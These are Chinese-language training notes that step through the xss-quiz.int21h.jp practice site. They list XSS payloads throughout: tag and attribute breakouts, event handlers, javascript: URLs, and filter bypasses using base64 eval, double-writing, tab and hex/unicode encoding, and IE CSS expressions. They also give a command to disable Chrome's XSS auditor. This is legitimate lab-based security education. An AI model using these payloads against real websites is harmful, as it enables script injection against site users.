![](https://img.kancloud.cn/41/e0/41e066af9a6c25a24868d9667253ec98_1241x333.jpg)
*****
## XSS攻击
### 实验环境介绍
地址:https://xss-quiz.int21h.jp/
### 探测XSS过程
1.构造一个不会被识别为恶意代码的字符串提交到页面中
2.使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示
### 闭合文本标签利用XSS
简单的payload
```
<script>alert(document.domain);</script>
```
闭合标签的payload
```
"</b><script>alert(document.domain);</script>
```
### 配置Chrome关闭XSS-Auditor
https://xss-qhttps://xss-quiz.int21h.jp/ 利用XSS过程中会出现下图情况。配置Chrome --args -- disable-xss-auditor
![](https://img.kancloud.cn/91/e7/91e7e10bda4aeef30f5b65d486f3520b_1202x536.png)
在桌面新建一个快捷方式
~~~
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor
~~~
### 属性中的XSS发现
技巧:ctrl+f 全局搜索输入的内容
闭合引号,尖括号,引入script脚本
payload
~~~
123"><script>alert(document.domain);</script>
~~~
### 属性中的XSS发现
onmouseover 鼠标悬停弹出
```
" onmouseover= " alert(document.domain)>
```
### 属性中的XSS发现
select元素可创建单选或多选菜单
~~~
<select name="p2">
<option>Japan</option>
<option>Germany</option>
<option>USA</option>
<option>United Kingdom</option>
</select>
~~~
在select下拉框中输入,闭合标签
~~~
Japan</option><script>alert(document.domain);</script>
~~~
### HTML表单隐藏参数介绍
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上
### HTML表单文本框介绍
~~~
<input type='text' name='' value=''>
value 输入字段的初始值
readonly 输入字段为只读(不能修改)
disable 输入字段是禁用的
size 规定输入字段的字符
maxlength 输入字段允许最大长度
~~~
### payload触发XSS漏洞
修改maxlength的值,达到XSS攻击效果
```
"><script>alert(document.domain);</script>
```
### HTML事件介绍
W3C网址:http://www.w3school.com.cn/tags/html\_ref\_eventattributes.asp
HTML实体 :https://www.w3school.com.cn/html/html_entities.asp
### 通过HTML事件来触发XSS
~~~
" onmouseover="alert(document.domain)
" onclick="alert(document.domain)
~~~
### 空格分隔属性中的XSS
按照上面的闭合思路来进行尝试
```
" onmouseover= "alert(document.domain)
```
### javascript伪协议介绍
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这 个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。 如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开
~~~
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
~~~
javascript URL还可以含有只执行动作,但不返回值的javascript语句
```
javascript:alert("hello world!")
```
### a链接标签属性
标签定义超链接,用于从一个页面链接到另外一个页面
标签最重要的属性是href属性,它指定链接的目标
在所有浏览器中,链接的默认外观是:
* 未被访问的链接带有下划线而且是蓝色的
* 已被访问的链接带有下划线而且是紫色的
* 活动链接带有下划线而且是红色的
### XSS漏洞发现
构造特殊无害字符串,响应中寻找字符串
跳过Stage #9,在span标签中添加 onclick= "alert(document.domain)"
### 绕过方法
1.双写绕过
~~~
"><script>alert(document.dodomainmain);</script>
~~~
2.编码绕过
alert(document.domain)
YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
eval 执行JavaScript代码
atob 解码base64
~~~
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
~~~
### 绕过替换script和on事件的XSS
在Stage #11演示
~~~
	 tab制表符html十进制编码
"><a href="javascr	ipt:alert(document.domain);">xss</a>
~~~
### 利用IE特性绕过XSS过滤
IE中两个反引号``可以闭合一个左边双引号
" `` 可以这样闭合
``onclick=alert(document.domain)
这个只适用于IE浏览器
### 利用CSS特性绕过XSS过滤
CSS层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言。可以修饰页面效果,拿网站 效果演示,修改css看页面效果
### 利用CSS特性绕过XSS过滤
```
background:url("javascript:alert(document.domain);"); 设置背景颜色
```
### IETester
官网:https://www.my-debugbar.com/wiki/IETester/HomePage
在IETester中打开Stage #13网址进行测试
在IETester中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行
### IE中利用CSS触发XSS
### CSS中执行js
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支
在Stage #14演示
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来
```
here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;});
here:e\\0xpression(onmouseover=function(){alert(document.domain)})
```
### 16进制绕过过滤触发XSS
十六进制介绍
十六进制转换有16进制每一位上可以是从小到大为0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16个大小不同 的数,即逢16进1,其中A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示10,11,12,13,14,15
### python16进制转换
```
import binascii
s = binascii.b2a_hex(">" .encode("utf8"))
print(s.decode())
print("\\x"+s.decode())
```
### 双斜杠+16进制绕过
~~~
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
~~~
### unicode绕过过滤触发XSS
unicode介绍
Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界 上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字
Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。
### 使用Python将字符串转换为unicode类型
~~~
import binascii
s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode())
print("\\u00"+s.decode())
~~~
### XSS攻击
~~~
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
~~~